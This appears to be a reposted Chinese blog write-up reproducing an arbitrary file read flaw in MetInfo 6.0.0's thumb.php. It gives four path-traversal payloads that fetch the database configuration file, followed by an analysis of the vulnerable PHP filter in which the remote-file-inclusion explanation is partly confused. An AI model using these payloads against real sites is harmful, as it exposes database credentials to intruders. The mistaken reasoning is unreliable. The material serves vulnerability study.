metinfo_6.0.0 任意文件读取漏洞复现

发布时间:2024年01月18日
漏洞点为/include/thumb.php

一测:/include/thumb.php?dir=..././http/..././config/config_db.php

二测:/include/thumb.php?dir=.....///http/.....///config/config_db.php

三测:/include/thumb.php?dir=http/.....///.....///config/config_db.php

四测:/include/thumb.php?dir=http\..\..\config\config_db.php

注意:此POC?仅适用于Windows?系统,Linux?下无效

$dir?= str_replace(array('../','./'), '',?$_GET['dir']);

if(substr(str_replace($_M['url']['site'], '',?$dir),0,4) == 'http' && strpos($dir, './') === false){

header("Content-type:?image/jpeg");

ob_start();

readfile($dir);

ob_flush();

flush();

????????????die;

}

这段代码的主要任务是从GET参数dir中获取图片资源并显示出来,但在安全防护方面存在一些问题。
首先,它尝试通过删除用户输入中的?'../'?和?'./'?字符串来阻止基本的路径遍历攻击。但是这种方法并不能完全避免所有类型的路径遍历漏洞,因为攻击者可能使用其他方式绕过这些过滤规则。
其次,代码检查了?$dir?是否以?'http://'?或?'https://'?开头,并且不包含?'./'?字符。这么做是想防止远程文件包含(RFI)攻击的发生,即不让网站从互联网上的远程URL加载和执行文件。然而,仅仅依赖于这两个条件判断并不足以确保安全性,因为攻击者可能有办法绕过这种限制。
具体来说:
substr(str_replace($_M['url']['site'],?'',?$dir),0,4)?这行代码的作用是从经过处理的?$dir?字符串中取出前四个字符,看它们是否等于?'http'。如果?$dir?指向的是一个URL,并且该URL是以?'http://'?或?'https://'?开始的,那么这一部分将返回?'http'。
strpos($dir,?'./')?===?false?判断?$dir?中是否没有?'./'?字符串。如果没有,则表达式为真。
当上述两个条件都满足时,意味着?$dir?指向的是一个不包含?'./'?的远程网址。
最后,若这两个条件均满足,程序会直接输出请求的资源内容,并将其响应类型设置为?image/jpeg,即认为它是一个JPEG格式的图片文件。但这样做实际上是允许了远程文件包含,而不是阻止它,从而留下了安全隐患。

文章来源:https://blog.csdn.net/qq_45212316/article/details/135644842
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。